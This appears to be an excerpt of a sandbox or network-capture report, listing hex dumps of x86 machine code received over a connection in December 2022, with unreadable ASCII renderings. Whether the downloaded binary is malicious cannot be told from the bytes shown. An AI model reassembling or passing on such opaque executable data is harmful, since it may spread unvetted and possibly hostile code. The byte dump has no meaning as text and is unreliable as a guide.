                                                                                                                                                  2022-12-04 11:05:57 UTC157INData Raw: 09 4f 00 57 e8 98 15 02 00 83 c4 0c 89 46 0c c6 40 24 00 68 75 1d 4e 00 68 7f fa 4d 00 68 8a 2c 4e 00 53 e8 29 09 02 00 83 c4 10 89 c7 6a 00 e8 8d 04 02 00 83 c4 04 89 44 24 10 56 e8 80 04 02 00 83 c4 04 89 44 24 0c 8b 44 24 10 8b 4c 24 0c 50 51 68 c0 84 42 00 68 a0 14 4e 00 6a 64 6a 68 68 f5 d8 4d 00 57 e8 d6 0c 02 00 83 c4 20 89 46 10 6a 12 6a 12 6a 12 6a 2c 6a 04 57 e8 70 0b 02 00 83 c4 18 68 61 3c 4e 00 68 17 bc 4e 00 57 e8 0d 15 02 00 83 c4 0c 89 c3 c7 40 0c 00 00 00 00 56 e8 1b 04 02 00 83 c4 04 89 44 24 08 8b 44 24 08 50 68 10 85 42 00 68 61 3c 4e 00 6a 00 68 bd cd 4e 00 57 e8 78 15 02 00 83 c4 18 89 c5 c7 40 0c 01 00 00 00 89 58 20 6a 00 e8 e2 03 02 00 83 c4 04 89 45 18 89 6e 14 56 e8 d3 03 02 00 83 c4 04 89 44 24 04 8b 44 24 04 50 68 10 85 42 00
                                                                                                                                                  Data Ascii: OWF@$huNhMh,NS)jD$VD$D$L$PQhBhNjdjhhMW Fjjjj,jWpha<NhNW@VD$D$PhBha<NjhNWx@X jEnVD$D$PhB
                                                                                                                                                  2022-12-04 11:05:57 UTC165INData Raw: 02 b8 70 fe 4e 00 b9 3c 13 4f 00 0f 44 c8 83 ff 01 b8 78 fe 4e 00 0f 45 c1 50 53 68 b4 06 4e 00 e8 0c ea 00 00 83 c4 0c 89 c3 50 ff 76 0c e8 ee b2 ff ff 83 c4 08 53 e8 c5 f4 00 00 83 c4 04 68 3c 13 4f 00 6a 00 57 ff 76 34 8b 6c 24 54 55 ff 74 24 54 ff 74 24 54 e8 c5 42 02 00 83 c4 1c 89 c7 50 e8 4a d0 00 00 83 c4 04 85 c0 74 0e 89 c3 57 e8 ab bf 00 00 83 c4 04 53 eb 50 8a 74 24 4c 8a 54 24 48 89 f3 83 c3 5c 89 e9 8b 6c 24 40 85 ed b8 5f 00 00 00 0f 49 c5 89 cd 0f b6 ce 0f b6 d2 ff 74 24 04 ff 76 34 53 51 52 6a 01 6a 00 50 ff 75 00 57 e8 58 46 02 00 83 c4 28 89 06 8b 08 50 ff 51 18 83 c4 04 85 c0 74 20 50 e8 d0 4a 01 00 83 c4 04 89 c6 8b 4c 24 10 31 e1 e8 70 3f 07 00 89 f0 83 c4 14 5e 5f 5b 5d c3 ff 34 24 ff 76 34 e8 cb 26 02 00 83 c4 08 89 46 58 8b 46 08
                                                                                                                                                  Data Ascii: pN<ODxNEPShNPvSh<OjWv4l$TUt$Tt$TBPJtWSPt$LT$H\l$@_It$v4SQRjjPuWXF(PQt PJL$1p?^_[]4$v4&FXF
                                                                                                                                                  2022-12-04 11:05:57 UTC172INData Raw: 14 8b 4c 24 0c 31 e1 e8 05 21 07 00 83 c4 10 5e 5f 5b 5d c3 81 fb fe 00 00 00 b9 08 82 4e 00 b8 84 b0 4e 00 0f 44 c1 8b 0c 24 51 50 68 e6 e9 4d 00 68 8a 07 4e 00 ff 76 0c e8 d3 94 ff ff 83 c4 14 8b 17 89 f1 e8 27 00 00 00 eb b5 bb b8 f2 4c 00 b8 c0 f2 4c 00 e9 22 fd ff ff bb b0 f2 4c 00 b8 4c f3 4c 00 e9 13 fd ff ff cc cc cc cc cc cc cc 55 53 57 56 83 ec 08 89 d6 89 cf a1 34 00 50 00 31 e0 89 44 24 04 81 3a fb 00 00 00 0f 85 9e 00 00 00 8b 46 10 83 f8 1f 75 1e 8d 47 6c 8b 4f 6c ff 77 18 ff 77 14 50 ff 51 14 83 c4 0c 81 3e fb 00 00 00 75 7b 8b 46 10 83 f8 27 74 05 83 f8 24 75 6e 31 c9 83 f8 27 0f 94 c1 bd 04 00 00 00 29 cd 83 7c af 20 01 77 50 31 c9 83 f8 27 0f 95 c1 8d 1c 49 83 cb 24 66 c7 44 24 01 ff fc 88 5c 24 03 8b 07 8b 08 8d 54 24 01 6a 03 52 50 ff
                                                                                                                                                  Data Ascii: L$1!^_[]NND$QPhMhNv'LL"LLLUSWV4P1D$:FuGlOlwwPQ>u{F't$un1')| wP1'I$fD$\$T$jRP
                                                                                                                                                  2022-12-04 11:05:57 UTC180INData Raw: bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 ac 06 00 00 8b 1d 78 77 4c 00 f6 c3 03 0f 85 8f 06 00 00 83 bc 24 28 10 00 00 00 0f 85 e8 f3 ff ff 6a 01 6a 33 ff b4 24 34 10 00 00 e8 d1 9f 00 00 83 c4 0c 68 b1 ac 4e 00 56 e8 b3 32 08 00 83 c4 08 bf 01 00 00 00 85 c0 0f 85 8b f9 ff ff f6 c3 02 74 33 e9 f4 00 00 00 bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 44 06 00 00 f6 05 78 77 4c 00 02 0f 85 d4 00 00 00 83 bc 24 28 10 00 00 00 0f 85 82 f3 ff ff 6a 01 6a 17 ff b4 24 34 10 00 00 e8 6b 9f 00 00 83 c4 0c bf 01 00 00 00 e9 36 f9 ff ff bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 f9 05 00 00 f6 05 78 77 4c 00 02 0f 85 de 05 00 00 83 bc 24 28 10 00 00 00 0f 85 37 f3 ff ff 6a 00 6a 24 ff b4 24 34 10 00 00 e8 e0 9f 00 00 83 c4 0c 68 c2 c8 4e 00 56 e8 02 32 08 00
                                                                                                                                                  Data Ascii: $(xwL$(jj3$4hNV2t3$(DxwL$(jj$4k6$(xwL$(7jj$$4hNV2
                                                                                                                                                  2022-12-04 11:05:57 UTC188INData Raw: 00 53 e8 ca 7a 00 00 83 c4 08 b9 02 00 00 00 29 c1 51 68 ea 1a 4e 00 57 e8 44 3e 00 00 83 c4 0c 68 bf 00 00 00 53 e8 a6 7a 00 00 83 c4 08 b9 02 00 00 00 29 c1 51 68 78 e7 4d 00 57 e8 20 3e 00 00 83 c4 0c 68 c0 00 00 00 53 e8 82 7a 00 00 83 c4 08 29 c6 56 68 43 eb 4d 00 57 e8 01 3e 00 00 83 c4 0c 68 c6 00 00 00 53 e8 b3 79 00 00 83 c4 08 0f b6 c0 50 68 0b 1c 4e 00 57 e8 e1 3d 00 00 83 c4 0c 68 c7 00 00 00 53 e8 93 79 00 00 83 c4 08 0f b6 c0 50 68 b3 34 4e 00 57 e8 c1 3d 00 00 83 c4 0c 68 c8 00 00 00 53 e8 73 79 00 00 83 c4 08 0f b6 c0 50 68 f7 eb 4d 00 57 e8 a1 3d 00 00 83 c4 0c 68 ca 00 00 00 53 e8 63 7f 00 00 83 c4 08 50 68 68 e8 4d 00 57 e8 04 40 00 00 83 c4 0c 68 cb 00 00 00 53 e8 46 7f 00 00 83 c4 08 50 68 5b e8 4d 00 57 e8 e7 3f 00 00 83 c4 0c 68 cc
                                                                                                                                                  Data Ascii: Sz)QhNWD>hSz)QhxMW >hSz)VhCMW>hSyPhNW=hSyPh4NW=hSsyPhMW=hScPhhMW@hSFPh[MW?h
                                                                                                                                                  2022-12-04 11:05:57 UTC196INData Raw: 55 e8 eb 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 6a 61 53 e8 77 61 00 00 83 c4 0c 6a 00 68 57 17 4e 00 e8 78 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 57 17 4e 00 55 e8 b2 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 6a 62 53 e8 3e 61 00 00 83 c4 0c 6a 00 68 93 14 4e 00 e8 3f 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 93 14 4e 00 55 e8 79 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 68 89 00 00 00 53 e8 02 61 00 00 83 c4 0c 6a 00 68 37 5c 4e 00 e8 03 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 37 5c 4e 00 55 e8 3d 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 68 8a 00 00 00 53 e8 c6 60 00 00 83 c4 0c 6a 01 68 70 19 4e 00 e8 d7 51 03 00 83 c4 08 50 68 70 19 4e 00 55 e8 08 1f 00 00 83 c4 0c 50 68 8b 00 00 00 53 e8 59 61 00 00 83 c4 0c 6a 00 68 aa
                                                                                                                                                  Data Ascii: UPjaSwajhWNxRtPhWNUPjbS>ajhN?RtPhNUyPhSajh7\NRtPh7\NU=PhS`jhpNQPhpNUPhSYajh
                                                                                                                                                  2022-12-04 11:05:57 UTC204INData Raw: cc 8b 44 24 04 ff 30 e8 45 82 00 00 83 c4 04 e9 ad 58 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 57 56 8b 7c 24 0c 85 ff 74 05 80 3f 00 75 05 bf 30 fe 4d 00 e8 b7 5d 00 00 89 c6 50 57 e8 3e 33 03 00 83 c4 08 6a 00 ff 36 68 99 fb 4d 00 68 01 00 00 80 6a 00 e8 16 81 00 00 83 c4 14 89 c7 56 e8 4b 5e 00 00 83 c4 04 85 ff 74 12 6a 00 6a 04 6a 01 e8 b9 57 00 00 83 c4 0c 89 38 eb 02 31 c0 5e 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 85 c0 74 0f ff 74 24 08 ff 30 e8 0d 83 00 00 83 c4 08 c3 31 c0 c3 cc cc cc cc cc cc 56 83 ec 08 8b 74 24 18 8b 44 24 10 8b 0d 34 00 50 00 31 e1 89 4c 24 04 85 c0 74 18 89 e1 51 ff 74 24 18 ff 30 e8 36 82 00 00 83 c4 0c 84 c0 74 03 8b 34 24 8b 4c 24 04 31 e1 e8 21 a3 06 00 89 f0 83 c4 08 5e c3 cc cc cc cc cc cc cc cc
                                                                                                                                                  Data Ascii: D$0EXWV|$t?u0M]PW>3j6hMhjVK^tjjjW81^_D$tt$01Vt$D$4P1L$tQt$06t4$L$1!^
                                                                                                                                                  2022-12-04 11:05:57 UTC211INData Raw: 07 00 83 c4 08 b3 01 85 c0 74 27 68 84 cb 4e 00 56 e8 eb b5 07 00 83 c4 08 85 c0 74 15 6a 04 68 b4 e2 4e 00 56 e8 b7 bb 07 00 83 c4 0c 85 c0 0f 94 c3 89 d8 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 0c 8b 74 24 20 a1 34 00 50 00 31 e0 89 44 24 08 8b 46 08 83 f8 02 74 67 83 f8 01 75 79 8b 46 0c 85 c0 0f 84 85 00 00 00 8b 48 04 85 c9 74 67 83 f9 02 0f 84 5f 01 00 00 83 f9 17 75 42 8b 40 18 66 83 78 08 00 75 4f 66 83 78 0a 00 75 48 66 83 78 0c 00 75 41 66 83 78 0e 00 75 3a 66 83 78 10 00 75 33 66 83 78 12 00 75 2c 66 83 78 14 00 75 25 0f b7 40 16 3d 00 01 00 00 0f 94 c3 eb 19 68 e2 02 00 00 68 8e 44 4f 00 68 ec 6b 4f 00 e8 ba 7b 07 00 83 c4 0c 31 db 8b 4c 24 08 31 e1 e8 e7 83 06 00 89 d8 83 c4 0c 5e 5f 5b 5d c3 8b 46 10 85 c0 74 06 83 7e 14 00
                                                                                                                                                  Data Ascii: t'hNVtjhNV^[USWVt$ 4P1D$FtguyFHtg_uB@fxuOfxuHfxuAfxu:fxu3fxu,fxu%@=hhDOhkO{1L$1^_[]Ft~
                                                                                                                                                  2022-12-04 11:05:57 UTC219INData Raw: 3c b5 08 02 4d 00 03 74 17 68 44 01 00 00 68 e8 4e 4f 00 68 7e 64 4f 00 e8 37 5d 07 00 83 c4 0c 89 34 24 89 5c 24 04 89 e0 6a 00 50 ff 37 e8 ae 38 00 00 83 c4 0c 85 c0 74 05 8b 70 08 eb 02 31 f6 8b 4c 24 08 31 e1 e8 45 65 06 00 89 f0 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 57 56 83 ec 0c 8b 74 24 20 a1 34 00 50 00 31 e0 89 44 24 08 83 3c b5 48 05 4d 00 03 74 17 68 43 01 00 00 68 e8 4e 4f 00 68 3c 64 4f 00 e8 c0 5c 07 00 83 c4 0c 8b 5c 24 24 8b 7c 24 1c 83 3c b5 08 02 4d 00 03 74 17 68 44 01 00 00 68 e8 4e 4f 00 68 7e 64 4f 00 e8 97 5c 07 00 83 c4 0c 89 34 24 89 5c 24 04 89 e0 6a 00 50 ff 37 e8 0e 38 00 00 83 c4 0c 85 c0 74 07 8b 70 08 85 f6 75 19 68 4e 01 00 00 68 e8 4e 4f 00 68 90 19 4f 00 e8 5f 5c 07 00 83 c4 0c 31 f6 8b 4c 24 08 31
                                                                                                                                                  Data Ascii: <MthDhNOh~dO7]4$\$jP78tp1L$1Ee^_[SWVt$ 4P1D$<HMthChNOh<dO\\$$|$<MthDhNOh~dO\4$\$jP78tpuhNhNOhO_\1L$1
                                                                                                                                                  2022-12-04 11:05:57 UTC227INData Raw: cc 53 8b 4c 24 08 8b 41 08 85 c0 74 1a 8a 5c 24 0c 8b 11 38 5c 02 ff 75 0e 83 c0 ff 89 41 08 c6 04 02 00 b0 01 5b c3 31 c0 5b c3 cc cc cc cc cc cc 57 56 6a 00 6a 20 6a 01 e8 33 fa ff ff 83 c4 0c 89 c7 8d 70 04 83 c0 10 c7 47 10 e0 98 43 00 89 47 18 c7 47 14 40 99 43 00 c7 47 0c 00 00 00 00 c7 07 00 02 00 00 c6 47 1c 00 6a 00 6a 01 68 00 02 00 00 e8 f8 f9 ff ff 83 c4 0c 89 47 04 89 47 08 c6 00 00 89 f0 5e 5f c3 cc cc cc cc cc cc cc 57 56 6a 00 6a 20 6a 01 e8 d3 f9 ff ff 83 c4 0c 89 c7 8d 70 04 83 c0 10 c7 47 10 e0 98 43 00 89 47 18 c7 47 14 40 99 43 00 c7 47 0c 00 00 00 00 c7 07 00 02 00 00 c6 47 1c 01 6a 00 6a 01 68 00 02 00 00 e8 98 f9 ff ff 83 c4 0c 89 47 04 89 47 08 c6 00 00 89 f0 5e 5f c3 cc cc cc cc cc cc cc 56 8b 74 24 08 8b 06 83 c6 fc 85 c0 74 16
                                                                                                                                                  Data Ascii: SL$At\$8\uA[1[WVjj j3pGCGG@CGGjjhGG^_WVjj jpGCGG@CGGjjhGG^_Vt$t
                                                                                                                                                  2022-12-04 11:05:57 UTC235INData Raw: 24 00 00 00 00 83 7e 24 00 0f 85 e1 fb ff ff 8b 44 24 0c 89 28 c7 45 00 00 00 00 00 56 e8 9f db ff ff 83 c4 04 e9 c6 fb ff ff 90 90 90 90 90 90 90 8b 44 8f 08 83 78 28 00 74 40 89 c2 90 90 90 90 89 d1 8b 52 04 85 d2 75 f7 8b 49 24 8b 54 24 08 89 4c 97 24 31 d2 89 c6 e9 cd fa ff ff 90 90 90 8b 48 28 85 c9 0f 85 b0 fa ff ff 8b 48 24 e9 a8 fa ff ff 31 c9 e9 06 01 00 00 8b 4c 8f 24 89 4e 28 8b 48 04 89 4e 0c 8b 50 14 89 56 1c 85 c9 74 02 89 31 8b 48 24 89 4e 2c 8b 48 08 89 4e 10 8b 50 18 89 56 20 85 c9 74 02 89 31 50 e8 0f db ff ff 83 c4 04 8b 46 18 03 46 14 03 46 1c 03 46 20 83 7e 24 01 83 d8 ff 83 7e 28 01 83 d8 ff 83 7e 2c 01 83 d8 ff 8b 54 24 08 89 44 97 14 83 fa 01 7f 45 89 d0 90 90 90 90 90 90 90 90 90 90 90 90 8b 4c 87 28 85 c9 74 23 89 4c 87 24 8b 4c
                                                                                                                                                  Data Ascii: $~$D$(EVDx(t@RuI$T$L$1H(H$1L$N(HNPVt1H$N,HNPV t1PFFFF ~$~(~,T$DEL(t#L$L
                                                                                                                                                  2022-12-04 11:05:57 UTC243INData Raw: 90 8d 5a fd 81 e3 fc 00 00 00 66 3b 8c 5d 0c 04 00 00 74 ad 8d 5a fe 81 e3 fd 00 00 00 66 3b 8c 5d 0c 04 00 00 74 9a 8d 5a ff 81 e3 fe 00 00 00 66 3b 8c 5d 0c 04 00 00 74 87 0f b6 da 66 3b 8c 5d 0c 04 00 00 0f 84 76 ff ff ff 83 c2 04 81 fa 23 01 00 00 75 ab e9 70 ff ff ff 31 c0 8b 34 24 eb 28 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 81 cf 00 dd 00 00 66 89 7c 45 0c 83 c0 01 3d 00 01 00 00 0f 84 21 01 00 00 0f b7 4c 45 0c 89 ca 81 e2 00 fe 00 00 81 fa 00 dc 00 00 74 dd ba 23 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 8d 7a fd 81 e7 fc 00 00 00 66 3b 8c 7d 0c 04 00 00 74 ad 8d 7a fe 81 e7 fd 00 00 00 66 3b 8c 7d 0c 04 00 00 74 9a 8d 7a ff 81 e7 fe 00 00 00 66 3b 8c 7d 0c 04 00 00 74 87 0f b6 fa 66 3b 8c 7d 0c 04 00 00 0f 84 76 ff ff ff 83 c2 04 81
                                                                                                                                                  Data Ascii: Zf;]tZf;]tZf;]tf;]v#up14$(f|E=!LEt#zf;}tzf;}tzf;}tf;}v
                                                                                                                                                  2022-12-04 11:05:57 UTC251INData Raw: 90 83 c7 01 89 fa 39 d6 7c 27 8d 1c 16 89 df c1 ef 1f 01 df d1 ff 39 0c fd 1c 24 4d 00 72 e2 39 0c fd 18 24 4d 00 76 5b 83 c7 ff 89 fe 39 d6 7d d9 8d 91 02 00 fc ff 81 fa 02 11 fc ff 72 46 be 78 00 00 00 31 d2 eb 12 90 90 90 90 90 90 90 90 90 83 c7 01 89 fa 39 d6 7c 2b 8d 1c 16 89 df c1 ef 1f 01 df d1 ff 39 0c fd fc 2e 4d 00 72 e2 39 0c fd f8 2e 4d 00 76 11 83 c7 ff 89 fe 39 d6 7d d9 eb 02 31 c0 5e 5f 5b c3 b8 02 00 00 00 eb f5 cc 53 57 56 8b 4c 24 10 81 f9 a1 00 00 00 73 0b 85 c9 75 13 31 c0 e9 14 01 00 00 81 f9 fd ff 10 00 0f 86 bc 00 00 00 b8 ff ff ff ff 83 f9 20 0f 82 fa 00 00 00 8d 51 81 83 fa 21 0f 82 ee 00 00 00 8d 91 10 fe f1 ff b8 01 00 00 00 81 fa 10 01 f2 ff 0f 82 d7 00 00 00 be 5b 01 00 00 31 d2 eb 09 83 c7 01 89 fa 39 d6 7c 27 8d 1c 16 89 df
                                                                                                                                                  Data Ascii: 9|'9$Mr9$Mv[9}rFx19|+9.Mr9.Mv9}1^_[SWVL$su1 Q![19|'
                                                                                                                                                  2022-12-04 11:05:57 UTC258INData Raw: 00 00 8b 84 24 a0 03 00 00 50 68 40 f8 43 00 68 57 34 4e 00 6a 65 68 44 39 4e 00 56 e8 e0 7f 00 00 83 c4 18 6a 54 e8 56 6e 00 00 83 c4 04 89 84 24 9c 03 00 00 8b 84 24 9c 03 00 00 50 68 40 f8 43 00 68 49 5f 4e 00 6a 62 68 d3 af 4e 00 56 e8 ad 7f 00 00 83 c4 18 6a 55 e8 23 6e 00 00 83 c4 04 89 84 24 98 03 00 00 8b 84 24 98 03 00 00 50 68 40 f8 43 00 68 07 ec 4d 00 6a 72 68 3a 22 4e 00 56 e8 7a 7f 00 00 83 c4 18 68 8e 00 00 00 e8 ed 6d 00 00 83 c4 04 89 84 24 94 03 00 00 8b 84 24 94 03 00 00 50 68 40 f8 43 00 68 d9 41 4e 00 6a 6c 68 f1 41 4e 00 56 e8 44 7f 00 00 83 c4 18 68 8f 00 00 00 e8 b7 6d 00 00 83 c4 04 89 84 24 90 03 00 00 8b 84 24 90 03 00 00 50 68 40 f8 43 00 68 70 3a 4e 00 6a 64 68 6e dc 4d 00 56 e8 0e 7f 00 00 83 c4 18 ff 35 7c 77 4c 00 68 c2 de
                                                                                                                                                  Data Ascii: $Ph@ChW4NjehD9NVjTVn$$Ph@ChI_NjbhNVjU#n$$Ph@ChMjrh:"NVzhm$$Ph@ChANjlhANVDhm$$Ph@Chp:NjdhnMV5|wLh
                                                                                                                                                  2022-12-04 11:05:57 UTC266INData Raw: f1 4d 00 8b ac 24 4c 05 00 00 55 e8 c1 53 00 00 83 c4 10 89 c6 6a 00 e8 25 4f 00 00 83 c4 04 89 84 24 88 01 00 00 8b 84 24 88 01 00 00 50 68 c0 63 44 00 68 35 e7 4d 00 6a 00 68 7f 03 4e 00 56 e8 bc 5a 00 00 83 c4 18 83 ff ff 0f 84 95 0a 00 00 83 ff 01 0f 84 8c 0a 00 00 e9 d2 01 00 00 68 bb 20 4e 00 68 e0 f0 4d 00 68 45 f1 4d 00 8b ac 24 4c 05 00 00 55 e8 56 53 00 00 83 c4 10 89 c6 6a 19 6a 4b 6a 02 50 e8 e5 55 00 00 83 c4 10 68 ca f0 4d 00 68 85 b5 4e 00 56 e8 82 5f 00 00 83 c4 0c c7 40 0c 00 00 00 00 6a 10 55 e8 40 55 00 00 83 c4 08 89 c7 50 e8 85 4e 00 00 83 c4 04 89 84 24 9c 01 00 00 8b 84 24 9c 01 00 00 50 68 20 62 44 00 68 ca f0 4d 00 6a 72 68 a7 48 4e 00 56 e8 1c 5a 00 00 83 c4 18 89 47 04 c7 40 0c 01 00 00 00 8b 47 04 c6 40 08 01 57 e8 42 4e 00 00
                                                                                                                                                  Data Ascii: M$LUSj%O$$PhcDh5MjhNVZh NhMhEM$LUVSjjKjPUhMhNV_@jU@UPN$$Ph bDhMjrhHNVZG@G@WBN
                                                                                                                                                  2022-12-04 11:05:57 UTC274INData Raw: 8b 7f 2c 85 ff 0f 8e 28 01 00 00 8b 4d 38 f7 df 31 d2 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 3b 04 91 0f 84 fb 00 00 00 8d 34 17 83 fe ff 0f 84 ef 00 00 00 83 c2 01 89 fe 01 d6 75 e2 e9 ef 00 00 00 39 7b 0c 0f 85 ea 00 00 00 ff 74 24 24 57 e8 4a e1 fd ff 83 c4 08 85 c0 0f 88 d5 00 00 00 50 8b 74 24 28 56 57 e8 93 e0 fd ff 83 c4 0c 89 c7 8b 43 08 8b 48 2c 83 c1 ff 51 56 50 e8 1d da fd ff 83 c4 0c 3b 3c 24 0f 84 a7 00 00 00 57 6a 02 55 e8 38 29 ff ff 83 c4 0c ff 34 24 e8 4d 91 fe ff 83 c4 04 89 c6 57 e8 42 91 fe ff 83 c4 04 89 c7 85 f6 75 17 68 8b 01 00 00 68 e4 4c 4f 00 68 90 18 4f 00 e8 c8 81 06 00 83 c4 0c 85 ff 75 17 68 8c 01 00 00 68 e4 4c 4f 00 68 8c 16 4f 00 e8 ad 81 06 00 83 c4 0c 6a 01 55 e8 1f 22 ff ff 83 c4 08 3b 46 54 75 0e ff 77 54 6a 01
                                                                                                                                                  Data Ascii: ,(M81;4u9{t$$WJPt$(VWCH,QVP;<$WjU8)4$MWBuhhLOhOuhhLOhOjU";FTuwTj
                                                                                                                                                  2022-12-04 11:05:57 UTC282INData Raw: ff ff 31 f6 eb 1b 31 c0 8b 5c 24 1c 50 55 57 e8 dd c3 fd ff 83 c4 0c 55 57 e8 53 c9 fd ff 83 c4 08 56 6a 43 53 e8 67 0a ff ff 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 44 24 20 8b 5c 24 1c 8b 6c 24 18 8b 7c 24 14 83 f8 03 0f 84 aa 00 00 00 85 c0 0f 85 3d 01 00 00 89 d8 8b 5f 14 6a 44 50 e8 5e 03 ff ff 83 c4 08 89 c6 55 57 e8 82 c8 fd ff 83 c4 08 55 57 e8 f8 be fd ff 83 c4 08 f6 c3 01 0f 85 90 00 00 00 f6 c3 02 0f 85 a1 00 00 00 f6 c3 04 0f 85 b2 00 00 00 f6 c3 08 74 11 6a 03 68 0a 86 4e 00 55 57 e8 27 c0 fd ff 83 c4 10 31 c0 f6 c3 01 74 0d b8 01 00 00 00 85 f6 0f 84 ab 00 00 00 f6 c3 02 74 0c 83 fe 01 0f 84 9f 00 00 00 83 c0 01 f6 c3 04 74 0c 83 fe 02 0f 84 8e 00 00 00 83 c0 01 c0 eb 03 83 fe 03 0f 94 c1 31 d2 84
                                                                                                                                                  Data Ascii: 11\$PUWUWSVjCSg^_[]USWVD$ \$l$|$=_jDP^UWUWtjhNUW'1ttt1
                                                                                                                                                  2022-12-04 11:05:57 UTC290INData Raw: 14 c7 46 04 00 00 00 00 c7 46 20 00 00 00 00 85 ff 74 0b 57 e8 88 57 ff ff 83 c4 04 eb 02 31 c0 89 46 04 8a 44 24 1c 88 46 24 c7 46 28 05 00 00 00 c6 46 2c 01 c7 46 30 00 00 00 00 c7 46 34 64 00 00 00 c7 46 38 00 00 00 00 c7 46 3c 00 00 00 00 c6 46 40 00 89 f0 5e 5f 5b 5d c3 cc cc cc cc cc 55 53 57 56 8b 7c 24 18 8b 5c 24 14 8b 6c 24 34 6a 00 6a 44 6a 01 e8 f5 ff fe ff 83 c4 0c 89 c6 8d 43 14 6a 00 6a 01 ff 73 10 6a 04 50 ff 73 18 e8 7b 00 ff ff 83 c4 18 89 43 18 8b 4b 10 8d 51 01 89 53 10 89 34 88 c7 06 07 00 00 00 c6 46 08 00 8b 43 0c c1 e0 10 05 00 00 ff ff 89 46 0c 8b 44 24 2c 89 46 1c 8b 44 24 30 89 46 10 89 6e 14 c7 46 04 00 00 00 00 c7 46 20 00 00 00 00 85 ff 74 0b 57 e8 b8 56 ff ff 83 c4 04 eb 02 31 c0 89 46 04 8a 44 24 1c 88 46 24 8b 44 24 20 89
                                                                                                                                                  Data Ascii: FF tWW1FD$F$F(F,F0F4dF8F<F@^_[]USWV|$\$l$4jjDjCjjsjPs{CKQS4FCFD$,FD$0FnFF tWV1FD$F$D$
                                                                                                                                                  2022-12-04 11:05:57 UTC297INData Raw: 00 89 d9 ba 01 00 00 00 e8 04 02 00 00 89 06 85 c0 74 35 8d 54 24 1c 8b 4c 24 18 89 f3 81 c3 4c 40 00 00 40 bf 01 00 00 00 0f 44 c7 89 45 f4 8b 02 53 50 ff d1 83 c4 08 89 46 04 8b 08 50 ff 51 18 83 c4 04 85 c0 74 0e 56 e8 73 e1 fe ff 83 c4 04 e9 50 01 00 00 8b 46 04 8b 08 6a 00 50 ff 51 14 83 c4 08 8b 46 08 56 ff 70 08 e8 01 f3 fe ff 83 c4 08 c6 46 10 00 83 7d fc 00 74 40 8b 46 08 6a 00 68 ba 11 4f 00 ff 70 14 68 ab e3 4e 00 e8 4d d4 fe ff 83 c4 10 89 c7 50 e8 f2 62 06 00 83 c4 04 8b 4e 04 8b 11 50 57 51 ff 52 08 83 c4 0c 57 e8 0b e1 fe ff 83 c4 04 c6 46 10 01 c6 46 11 00 c7 86 28 40 00 00 00 00 00 00 c7 46 0c 00 00 00 00 68 d0 04 42 00 e8 f5 f1 fe ff 83 c4 04 89 86 2c 40 00 00 68 b0 61 40 00 e8 e2 f1 fe ff 83 c4 04 89 86 30 40 00 00 68 60 b2 44 00 e8 cf
                                                                                                                                                  Data Ascii: t5T$L$L@@DESPFPQtVsPFjPQFVpF}t@FjhOphNMPbNPWQRWFF(@FhB,@ha@0@h`D
                                                                                                                                                  2022-12-04 11:05:57 UTC305INData Raw: 04 12 83 c0 ff 50 56 e8 15 df fe ff 83 c4 08 8b 04 24 85 c0 75 db be 00 01 00 00 03 74 24 04 8b 4c 24 1c 31 e1 e8 a7 0d 05 00 89 f0 83 c4 20 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 5c 24 18 8b 7c 24 14 8b 74 24 10 83 7e 08 00 74 0e 8d 46 0c 6a 2c 50 e8 d0 b9 fe ff 83 c4 08 83 c6 0c 53 57 56 e8 42 b9 fe ff 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 5c 24 14 8b 7c 24 10 53 e8 bf 43 06 00 83 c4 04 89 c6 83 7f 08 00 74 0e 8d 47 0c 6a 2c 50 e8 89 b9 fe ff 83 c4 08 83 c7 0c 56 53 57 e8 fb b8 fe ff 83 c4 0c 5e 5f 5b c3 cc cc cc cc 55 53 57 56 8b 74 24 14 8b 46 04 31 db 85 c0 0f 84 82 00 00 00 8b 3e b9 ff ff ff ff 90 90 90 90 80 3c 1f 2c 75 1c 8d 14 1f 83 c2 01 89 16 8d 14 08 89 56 04 83 c3 01 83 c1 ff 39 d8 75 e2
                                                                                                                                                  Data Ascii: PV$ut$L$1 ^_[SWV\$|$t$~tFj,PSWVB^_[SWV\$|$SCtGj,PVSW^_[USWVt$F1><,uV9u
                                                                                                                                                  2022-12-04 11:05:57 UTC313INData Raw: 83 c4 04 c3 31 c0 c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 8b 80 7c ff ff ff 8b 08 ff 74 24 18 ff 74 24 18 ff 74 24 18 ff 74 24 18 ff 74 24 18 50 ff 11 83 c4 18 c3 cc cc cc cc cc cc cc cc cc 53 57 56 8b 74 24 10 8b 46 d4 85 c0 74 10 8b 08 50 ff 51 08 83 c4 04 c7 46 d4 00 00 00 00 8b 5c 24 18 8b 7c 24 14 83 7e f8 00 74 19 ff 76 f0 e8 4c 6a 01 00 83 c4 04 c7 46 f0 00 00 00 00 c7 46 f8 00 00 00 00 8b 86 7c ff ff ff 8b 08 53 57 50 ff 51 04 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc 56 8b 4c 24 14 8b 44 24 10 8b 54 24 08 83 7a d4 00 74 1c 8d b2 74 ff ff ff 83 c2 bc 51 50 52 e8 1c fa fe ff 83 c4 0c 89 f1 5e e9 91 f9 ff ff 8b 92 7c ff ff ff 8b 32 51 50 ff 